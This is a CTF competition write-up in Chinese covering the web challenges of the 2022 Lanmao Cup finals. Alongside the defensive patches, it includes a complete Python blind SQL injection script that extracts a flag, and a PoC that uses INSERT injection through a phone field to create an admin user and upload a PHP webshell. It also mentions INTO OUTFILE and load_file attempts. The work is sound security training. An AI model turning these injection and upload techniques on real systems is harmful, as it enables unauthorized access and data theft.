2022蓝帽杯决赛WP-Web

2022蓝帽杯决赛WP-Web

image-20220921222807279

历经初赛半决来到了决赛, 这次决赛采用了AWDP,Web的题目并没有太难(那个0解题除外), 拿了个simple-fish的2血, 我们队的web全部修复完成, 攻击分也是全场最高, 但是pwn修复出了点小插曲, 另外网上有详细漏洞分析的赌怪我也没修, 所以最后防御分被拉了好多, 最后就是第3了...

image-20220922155320249

赌怪

防御

赌怪这个java题我看到一堆源码就直接没做了,最后也是队长lu1u修的,这里贴一下队长写的WP

解压附件,查看src\main\java\com\jsh\erp\controller目录下的UserController.java,发现是华夏erp的项目。


通过搜索华夏erp漏洞可知存在授权绕过和命令执行漏洞。
参考: https://cn-sec.com/archives/387212.html

修改LogCostFilter.java,修复其认证绕过出现的点即可防止后续的命令执行。


patch如上,即对传入的所有文件进行认证,避免绕过。

攻击

这个从始至终我都没去做, 一头栽在了安全的系统这个0解题上, 但是这个华夏erp的漏洞应该是网上有详细分析和poc直接打的, 等一手其他师傅的wp就好

simple-fish

防御

拿到源码之后扫描了一遍都是一些sql注入XSS的漏洞可能存在, 并没有发现文件上传和RCE的漏洞点,

image-20220921172752074

之后我自己逐个源码看完之后也确定了没有命令执行的点, 最后就是把Fix的目标定在了sql注入上, 在目录被多次包含的db.php引起了我的注意, 因为它不仅被多次包含, 而且里面会对参数进行waf检测,所以就将Fix点放在了这个waf函数上

<?php

$dbms="mysql";
$host = "127.0.0.1";
$username = "root";
$password = "root";
$dbName = "fish";
$conn=new PDO("$dbms:host=$host;dbname=$dbName", $username, $password);
function waf($s){
  if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set/is",$s)||strlen($s)>1000){
    header("Location: /");
    die();
  }
}

foreach ($_GET as $key => $value) {
    waf($value);
}

foreach ($_POST as $key => $value) {
    waf($value);
}

foreach ($_SERVER as $key => $value) {
    waf($value);
}

?>

起初我的注意力全在login.php上,

<?php
include("db.php");

if(isset($_POST["u"])){
    $username = $_POST["u"];
    $password = $_POST["p"];
    $ip = $_SERVER["REMOTE_ADDR"];
    $time = time();
    $ua = $_SERVER["HTTP_USER_AGENT"];
    $conn->query("insert into data(username,password,ip,time,ua) values (\"$username\",\"$password\",\"$ip\",\"$time\",\"$ua\");");
}

?>

但是因为上面的waf过滤了',"并且不允许以\结尾所以我实在想不到其他的注入方法了, 因此最后我Fix的方法就是对waf函数的过滤进一步加强, 添加了\*|\/|\n| |这几个过滤就过了, 不过感觉主要应该是过滤了空格歪打正着了吧,因为后面继续审源码才发现一个漏洞注入点是基于Mysql8.x的, 不过这里过滤空格能成功应该就是因为check的payload中并没有进行一些语句执行的替换保留了空格从而过滤了语句完成了防御

修正之后的waf函数如下:

function waf($s){
  if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|-|#|\*|\/|\n| |\t/is",$s)||strlen($s)>1000){
    header("Location: /");
    die();
  }
}

攻击

在下载的附件中可以看到有一个账户admin/25ab1e918ecafc97687acffa220f692b

image-20220921171951724

拿这个密码到MD5解密网站进行解密一下,可以拿到密码hardpass

image-20220921172054591

同时从目录附件中可以拿到目录结构

image-20220921172329082

一开始的时候因为题目中的代码都将显示的页面定义为404 NotFound的样式所以导致我对这个目录是否真的存在一直心存疑惑,以为题目中的后台目录是另一个,一直在想怎么才能拿到目录, 但是最后通过访问/eec2d26be2fd5a8075d541425d7b0621/layui/layui.js打消了我的疑虑

image-20220921172532685

从这里开始我们就可以看eec2d26be2fd5a8075d541425d7b0621目录下面的文件代码了,

这时候就用到了上面拿到的账号密码admin/hardpass

访问/eec2d26be2fd5a8075d541425d7b0621/login.php进行登录,但是需要注意,这里并没有登录界面的接口,我们要直接传入参数即可

image-20220921174749840

<?php
error_reporting(0);
http_response_code(404);
?>

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.51 (Win64) PHP/7.4.26 Server at <?php echo $_SERVER["HTTP_HOST"];?> Port 80</address>

<form action="login.php" method="post" style="visibility: ;">
    <input name="u"><br>
    <input type="password" name="p"><br>
    <button type="submit">登录</button>
</form>

</body></html>

<?php
include("../db.php");
session_start();
if(isset($_POST["u"])){
    $username = $_POST["u"];
    $password = $_POST["p"];
    $ip = $_SERVER["REMOTE_ADDR"];
    $time = time();
    $ua = $_SERVER["HTTP_USER_AGENT"];

    $conn->query("insert into login(username,password,ip,time,ua) values (\"$username\",\"$password\",\"$ip\",\"$time\",\"$ua\");");

    $sql="select password from user where username=\"$username\";";
    foreach ($conn->query($sql) as $user){
        if ($user["password"] === md5($password)){
            $_SESSION["username"]="admin";
            echo "<script language=javascript>window.location.href=\"index.php\"</script>";
    }}
}

?>

按照源码传入账号密码u=admin&p=hardpass

之后就会自动跳转到后台的界面了

image-20220921174931416

之后我们再回到eec2d26be2fd5a8075d541425d7b0621目录下的源码,发现在data.php中看到了注入点:

image-20220921175115426

<?php 
include("../db.php");
header('Content-Type:text/json;charset=utf-8');
session_start();

if($_SESSION["username"] !== "admin"){
  header("Location: login.php");
}
$sql ="desc `fish`.`$_GET[m]`;";
$conn->query($sql);

$sql = "select * from `fish`.$_GET[m]";
$data = [];
foreach ($conn->query($sql) as $key) {
array_push($data,["id" => $key["id"],"username"=> $key["username"],"password" => $key["password"],"ip"=> $key["ip"],"time"=> date("Y-m-d H:i:s",$key["time"]),"ua" => $key["ua"]]);
}

$page = intval($_GET['page'])>0?intval($_GET['page']):1;
$limit = intval($_GET['limit']);
$count = count($data);
$data = array_slice($data,($page-1)*$limit,$limit);

$json = ["code" => 0,"msg" => "","count" => $count,"data" => $data];

echo json_encode($json);

这个注入点是可以使用的, 因为源码的waf对我们的过滤几乎可以忽略(主要就是绿了select,直接就想到上周六打第五空间的时候遇到的mysql8,x使用table注入了,后面使用version()>7测试了一下确实如此), 我们访问数据管理模块就可以看到对data.php发出的请求

image-20220921175402621

m为data,表示默认是输出fish.dada的全部数据,我们在后面加个where判断就可以构造出根据回显长度判断的注入语句了

注意: 这里输出的data.php是我们在钓鱼登录界面的登录记录,所以我们要有登录数据才行, 不过其实我们也可以直接使用m=user

image-20220921175709621

image-20220921175752059

下面构造如下脚本:

import requests

def makehex(text):
    rt="0x"
    for i in text:
        t=str(hex(ord(i)))
        rt+=t[2::]
    return rt
def getDatabase(mysqlline):  # 获取数据库名
    ans = ''
    session=requests.session()
    session.post(url+"login.php", data={"u": "admin", "p": "hardpass"})
    for i in range(1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # sql = f"(0x646566,{makehex('fish')},{makehex('F5fl11A6g99')},%s,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21,22)>(table information_schema.columns limit {mysqlline},1)" % makehex(ans + chr(mid))
            # 先是注出全部的数据库,发现只有一个fish数据库,之后通过行数和字段数逐个微调注入得到表名字段名,最后确定falg在fish.F5fl11A6g99表的F511LAAGG字段,这个表只有两个字段,第一个是id,第二个是flag的字段,所以构造得到如下语句
            sql = f"({mysqlline+1},%s)>(table fish.F5fl11A6g99 limit {mysqlline},1)" % makehex(ans + chr(mid))

            sql = f"where ({sql})"
            # print(sql)
            res = session.post(url + f"data.php?&page=1&limit=10&m=login {sql}",cookies={"PHPSESSID": "v81or11tusuhgflcskd9t6rqtv"})
            # print(res.text)

            if '{"code":0,"msg":"","count":0,"data":[]}' != res.text:#语句为真时的判断语句
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("executeEnd is -> " + ans)
    print("executeEnd is -> " + ans[:-1:]+chr(ord(ans[-1])+1))
    return ans[:-1:]+chr(ord(ans[-1])+1)

url = "http://eci-2zeh1wsl8upy70thgyhk.cloudeci1.ichunqiu.com/eec2d26be2fd5a8075d541425d7b0621/"
# tables-> 328
# columns共有3515个数据
# fish.F5fl11A6g99.F511LAAGG
# F5fl11A6g99表中2个字段id,F511LAAGG
for i in range(20):
    print(i)
    try:
        print(i, getDatabase(i))
    except:
        pass

image-20220921180927231

跑脚本拿到flag(还需要转一下小写)

安全的系统

修复

拿到源码还是直接扫一下,可以看到就两个点,还都是在一个文件manage.php

image-20220921181426543

源码如下:

<?php
include_once "config.php";
if ($_SESSION['username']) {
    $sql = "SELECT * FROM users WHERE username=? LIMIT 1";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($_SESSION['username']));
    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
    $role = $data[0]['role'];
    if ($role === '0') {
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if ($_POST['submit1']) {
                $filename = $_FILES['file']['name'];
                $filename = str_replace("..","",$filename);
                $filename = str_replace("ht","no",$filename);
                $url = "img/".$filename;
                if (analyse($filename, file_get_contents($_FILES['file']['tmp_name'])) && $_POST['username'] && $_POST['info'] && $_POST['name'] && $_POST['worktime'] && $_POST['special'] && $_POST['position'] && $_POST['password'] && $_POST['idcard'] && $_POST['phone']) {
            move_uploaded_file($_FILES['file']['tmp_name'], $url);
//            Fix修改:file_put_contents($url,str_replace("<?","",file_get_contents($_FILES['file']['tmp_name'])));
            $stmt->execute(array($_POST['username']));
            if (!empty($stmt->fetchAll(PDO::FETCH_ASSOC))) die("repeat user!");
                    $sql = "INSERT INTO doctors (`username`,`info`,`worktime`,`url`,`special`,`position`,`name`) VALUES (?, ?, ?, ?, ?, ?, ?)";
                    $stmt = $dbh->prepare($sql);
                    $stmt->execute(array($_POST['username'], $_POST['info'], $_POST['worktime'], $url, $_POST['special'], $_POST['position'], $_POST['name']));
                    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
                    $sql = "INSERT INTO users (`username`,`password`,`role`,`phone`,`idcard`,`name`) values(?, ?, '1', ?, ?, ?)";
                    $stmt = $dbh->prepare($sql);
                    $stmt->execute(array($_POST['username'], $_POST['password'], $_POST['phone'], $_POST['idcard'], $_POST['name']));
                    echo "医生信息插入成功!";
                } else {
                    die("信息不全或检测到webshell");
                }
            } else if ($_POST['submit2']) {
                $username = $_POST['username'];
                $newtime = $_POST['newtime'];
                if ($username && $newtime) {
                    $sql = "UPDATE doctors SET worktime=? WHERE username=?";
                    $stmt = $dbh->prepare($sql);
                    $stmt->execute(array($newtime, $username));
                    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
                    echo "工作时间更改成功";
                } else {
                    die("信息不全");
                }
            } else {
                die("???");
            }

        } else {
            echo file_get_contents("manage.html");
        }
    } else {
        header("Location: /login.html");
    }
}

虽然但是, 这里只查到了这一个漏洞点, 一开始我是通过修改分析检测上传文件是否为shell的analyse函数,添加里面的过滤,但是结果全都被冲翻了没啥用, 最后改了几次最终我Fix的方法就是直接将上传文件中phpshell必有的<?直接给删了,最后就Fix修复成功了

攻击(0解题,写一些思路)

这个题目使用到的insert注入在我翻阅了官方手册之后发现一些挺有趣的语句可以看一下

image-20220921182205946

这个题目我纠结了很久,一开始因为AWDP分数刷一轮少一轮,所以审源码的时候比较浮躁,所以错过了一些关键的点

先来看一下,目录结构如下

image-20220921183658847

在这里就没什么waf的过滤函数了, 全程几乎可以说不管传什么一路躺平, 然而...这并没有什么用,因为去阿奴吧代码执行的sql查询语句几乎都是使用prepare预编译语句, 所以基本没能注入的地方,查询和插入数据的时候执行的语句大多跟下面login.php的代码差不多

<?php
include_once "config.php";

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $data = file_get_contents("php://input");
    $json_data = json_decode($data);
    $username = $json_data->username;
    $passwd = $json_data->passwd;
    $sql = "SELECT * FROM users WHERE username=:name LIMIT 1";
    $stmt = $dbh->prepare($sql);
    $stmt->bindParam(':name', $username);
    $stmt->execute();
    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
    header("Content-Type: application/json");
    if (empty($data)) {
        die('{"code":3}');
    }
    $sql_password = $data[0]["password"];
    $phone = $data[0]["phone"];
    if ($sql_password === $passwd) {
        $_SESSION['username'] = $username;
        $_SESSION['phone'] = $phone;
        $role = $data[0]["role"];
        echo '{"code":'.$role.'}';
    } else {
        echo '{"code":3}';
    }

} else {
    header("Location: /login.html");
}

那么了解了代码的一个大概情况之后就需要寻找漏洞利用的地方了,

我们回到在修复中扫描检测出有恶意代码的manage.php,看一下想要触发文件上传的漏洞需要哪些条件

<?php
include_once "config.php";
if ($_SESSION['username']) {
    $sql = "SELECT * FROM users WHERE username=? LIMIT 1";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($_SESSION['username']));
    $data = $stmt->fetchAll(PDO::FETCH_ASSOC);
    $role = $data[0]['role'];
    if ($role === '0') {
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            if ($_POST['submit1']) {
                $filename = $_FILES['file']['name'];
                $filename = str_replace("..","",$filename);
                $filename = str_replace("ht","no",$filename);
                $url = "img/".$filename;
                if (analyse($filename, file_get_contents($_FILES['file']['tmp_name'])) && $_POST['username'] && $_POST['info'] && $_POST['name'] && $_POST['worktime'] && $_POST['special'] && $_POST['position'] && $_POST['password'] && $_POST['idcard'] && $_POST['phone']) {
            move_uploaded_file($_FILES['file']['tmp_name'], $url);
     .....其他非关键的代码,在上面Fix部分有,就不全复制占用地方了           

从代码中我们可以看到直接将上传的临时文件直接转移到了$url中,而$url="img/".$_FILES['file']['name'](其中的临时文件名中的..被删除,ht被替换为了no)想要走到代码中执行需要满足5个if判断:

  1. $_SESSION['username']这个需要我们登录一个用户账号
  2. $role === '0'这个要求是我们需要满足的重点,因为我们在register申请的账号默认role字段值为2, 所以这就意味着我们需要再找一个注入点将一个role=0的用户插入到数据库中,或者拿到一个原始数据库中role=0的用户
  3. $_SERVER['REQUEST_METHOD'] == 'POST'要求使用POST方式传参
  4. analyse($filename, file_get_contents($_FILES['file']['tmp_name'])这个analyse函数是在config.php中定义的,大概就是正则过滤几个webshell的格式,下面另外展开看看这个正则
  5. $_POST['username'] && $_POST['info'] && $_POST['name'] && $_POST['worktime'] && $_POST['special'] && $_POST['position'] && $_POST['password'] && $_POST['idcard'] && $_POST['phone']就是要求传输的POST数据中有这几个变量,

对我们来说满足1,3,4,5对我们来说都是很容易的,主要是第2点的身份验证对我们来说比较麻烦

先来看一下第4个条件中的analyse,

<?php
session_start();
$dbh = new PDO('mysql:host=127.0.0.1;dbname=hospital', 'root', 'root123');
function analyse($filename, $data) {
    global $dbh;
    $filehash = md5($data);
    $sql = "SELECT * FROM files where hash=:hash";
    $stmt = $dbh->prepare($sql);
    $stmt->bindParam(':hash', $filehash);
    $stmt->execute();
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
    if (empty($result)) {
        $sql = "INSERT INTO files(`hash`, `shell`) VALUES (?,?)";
        $stmt = $dbh->prepare($sql);
        if (preg_match("/(<\?php\s)|(<\?=)/i", $data)) {
            $stmt->execute(array($filehash, 'yes'));
            return false;
        } else {
            $stmt->execute(array($filehash, 'no'));
            return true;
        }
    } else {
        if ($result[0]['shell'] === 'yes') {
            return false;
        } else {
            return true;
        }
    }
}

image-20220921205930191

看到就是过滤了<?=<?php,这个对于默认的短标签来说可以直接使用<? echo phpinfo();?>的方式绕过即可(然而并没有解析,继续往下看)

那么到这里就只剩role=0这一个条件了,下面看看是怎么解决的

之前说到在源码中几乎全部的sql执行语句都是使用prepare去进行预加载的, 所以就导致了后面装入的内容全都不会注入到语句里面而是作为一个变量,大概可以看作是做了0x格式的16进制

但是在注册的register.php中注册的函数的插入语句却出现了一个唯一的例外

<?php
include_once "config.php";
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $data = file_get_contents("php://input");
    $json_data = json_decode($data);
    $name = $json_data->name;
    $idcard = $json_data->idcard;
    $phone = $json_data->phone;
    $username = $json_data->username;
    $password = $json_data->password;
    $sql = "SELECT * FROM users WHERE username=?";
    $stmt = $dbh->prepare($sql);
    $stmt->execute(array($username));
    if (!empty($stmt->fetchAll(PDO::FETCH_ASSOC))){
        http_response_code(403);
    } else {
        $sql = "SELECT count(*) FROM users";
        $result = $dbh->query($sql);
        $data = $result->fetchAll(PDO::FETCH_ASSOC);
        $count = $data[0]["count(*)"];

        if ($count > 15) {//test only 15 users
            http_response_code(403);
        }

    $sql = "INSERT INTO users (`role`, `username`, `password`, `phone`, `idcard`, `name`) VALUES('2','".addslashes($username)."', '".addslashes($password)."', '".$phone."', '".addslashes($idcard)."', '".addslashes($name)."')";
        $sql = str_replace(";","",$sql);
        $stmt = $dbh->prepare($sql);
    $stmt->execute();
    }
} else {
    header("Location: /login.php");
}

可以看到INSERT语句中对username,password等都做了过滤, 但是$phone参数却是原封不动的被插入进去了,但是这个insert注入, 只能执行15次,因为被插入数据的user表的数据不能超过15个,所以我们这个输入只能直接插入一个role=0的用户

最后在网上找了一段时间也没有太多insert语句的后续操作方式, 但是却被;的过滤这一点难住了(因为这里的语句是支持堆叠的,所以一开始藏尝试通过堆叠注入另起一个insert语句插入数据,但是;被滤了直接就断掉了我的思路), 之后就想着查看insert还有没有什么其他的拓展使用, 最后在官方手册找到的注入语句的方法(官方手册yyds)

关于insert注入的一些特别的语句

使用示例一:一般使用的都是这个

INSERT INTO tbl_name (col1,col2) VALUES(col2*2,15);

使用示例二:

INSERT INTO tbl_name (a,b,c)
 VALUES ROW(1,2,3), ROW(4,5,6), ROW(7,8,9);

使用示例三:

INSERT INTO tbl_name (a,b,c) VALUES(1,2,3,4,5,6,7,8,9);

使用示例四:

INSERT INTO tbl_name (a,b,c)
 VALUES(1,2,3), (4,5,6), (7,8,9);

另外找到的一些用法示例:

https://dev.mysql.com/doc/refman/8.0/en/insert-select.html 第一个语句在这个题目中是可用的

INSERT INTO tbl_temp2 (fld_id)
SELECT tbl_temp1.fld_order_id
FROM tbl_temp1 WHERE tbl_temp1.fld_order_id > 100;

INSERT INTO ta TABLE tb;

https://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html 这里第一个语句在题目中可用

INSERT INTO t1 (a,b,c) VALUES (1,2,3)  ON DUPLICATE KEY UPDATE c=c+1;

UPDATE t1 SET c=c+1 WHERE a=1 OR b=2 LIMIT 1; 

INSERT INTO t1 (a,b,c) VALUES (1,2,3),(4,5,6)  ON DUPLICATE KEY UPDATE c=VALUES(a)+VALUES(b);

INSERT INTO t1 (a,b,c) VALUES (1,2,3),(4,5,6) AS new  ON DUPLICATE KEY UPDATE c = new.a+new.b;

INSERT INTO t1 (a,b,c) VALUES (1,2,3),(4,5,6) AS new(m,n,p)  ON DUPLICATE KEY UPDATE c = m+n;

INSERT INTO t1  SELECT c, c+d FROM t2  ON DUPLICATE KEY UPDATE b = VALUES(b);

INSERT INTO t1  SELECT * FROM (SELECT c, c+d AS e FROM t2) AS dt  ON DUPLICATE KEY UPDATE b = e;

INSERT INTO t1 SET a=1,b=2,c=3 AS new
ON DUPLICATE KEY UPDATE c = new.a+new.b;

INSERT INTO t1 SET a=1,b=2,c=3 AS new(m,n,p)
ON DUPLICATE KEY UPDATE c = m+n;

INSERT INTO t1 (a, b)
SELECT c, d FROM t2
UNION
SELECT e, f FROM t3
ON DUPLICATE KEY UPDATE b = b + c;

INSERT INTO t1 (a, b)
SELECT * FROM
(SELECT c, d FROM t2
UNION
SELECT e, f FROM t3) AS dt
ON DUPLICATE KEY UPDATE b = b + c;

更多....其他还有更多地语句并没有距离,我相信对于一句ctfer来说上面的应该是够用了的

这里我们可以使用示例三,示例四进行数据插入,为了看起来方便任意分别我使用了示例四的方式插入语句

最后整理一下需要满足的条件,构造出以下poc:

import random

import requests
url="http://eci-2ze9vkawiglp5cwv0yob.cloudeci1.ichunqiu.com/"

session=requests.session()

def getrole0user():
    # 注册一个role=0的用户
    global session
    session.post(url + "register.php",
                 data="""{"name":"a","idcard":"123456789012345678","phone":"123','123','123'),('0','h0cksr','123456','h0cksr","username":"b","password":"a"}""",
                 headers={"content-type": "application/json"})
    # 登录这个role=0的用户并且将对应的session保留在当前这个对话中
    session.post(url + "login.php", data='{"username":"h0cksr","passwd":"123456"}',
                 headers={"content-type": "application/json"})

def uploadwebshell(filename,text):
    global session
    # 注意用户名随机,要不然存在重名的数据段的话就会直接退出而导致执行上传文件失败
    data = {"submit1": random.random(), "username": random.random(), "info": random.random(), "name": random.random(),
            "worktime": random.random(), "special": random.random(), "position": random.random(),
            "password": random.random(), "idcard": random.random(), "phone": random.random()
            }
    # 上传文件
    print(session.post(url + "manage.php",
                       data=data,
                       files=[('file', (filename, text, 'image/png')),]
                       ).text
          )
    # 检查文件上传是否成功
    uploadurl = url + "img/" + filename
    print(uploadurl)
    print(session.post(uploadurl).text)

getrole0user()
filename = "shell.php"
text="""<? phpinfo();?><script language="php">phpinfo()</script><h1>aa</h1>"""
uploadwebshell(filename,text)

通过上面脚本可以完成文件上传,将文件上传到img目录下,但是应该是因为权限配置的原因, 这里的php文件并不会被php解释器解析,访问/img/shell.php的时候webshell代码会被直接输出, 所以就无法命令执行

因为..被滤了所以导致并不能目录穿越, 而我后面想尝试.phtml.htaccess的时候发现都被ht这个过滤替换导致不可用, 到此我就别无它法了(也可能是可以正常执行的,但是<?这个短标签的解析配置被删除了),不知道有没有大佬有别的想法

注: 另外我还想过尝试通过select user() into outfile 'var/www/html/shell.php'写入一个webshell或者通过select load_file('/etc/hosts')导出查看文件, 但是貌似都失败了,应该是默认的secure_file_priv权限配置并没有被修改的原因

另外还有一种方法没试那就是使用文件的md5碰撞,先是上传一个没有waf关键字的非shell文件,然后文件md5被导入数据库,之后再上传一个md5相同的webshell文件,但是这么做的话要拿到这个md5相同的文件的话使用工具爆破所需要的时间也是相当长的,所以没试这个办法,,不知道这个是不是正解

到这里就结束啦~

2022.9.21

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇